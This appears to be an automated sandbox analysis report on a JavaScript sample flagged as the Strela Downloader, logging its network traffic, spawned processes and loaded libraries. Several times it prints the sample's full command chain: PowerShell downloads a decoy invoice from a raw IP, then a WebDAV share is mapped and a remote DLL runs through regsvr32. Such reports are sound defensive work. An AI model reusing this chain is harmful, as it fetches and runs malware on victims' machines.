HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1739300284.000001A47A3C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1792584985.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1789660628.000002177CACD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795260469.000002177CA78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795308511.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1792584985.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795308511.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/R
Source: net.exe, 00000006.00000003.1792584985.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795308511.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/j
Source: svchost.exe, 00000008.00000002.3023784843.000002326CC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1791376615.000002326CE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1791376615.000002326CE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1791376615.000002326CE18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1791376615.000002326CE4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1791376615.000002326CEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1791376615.000002326CEC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1791376615.000002326CEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3156, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2153616741885716229.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4296:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d3hjpqe4.zc2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1660,i,12714881071314078498,14039083725192833191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1660,i,12714881071314078498,14039083725192833191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
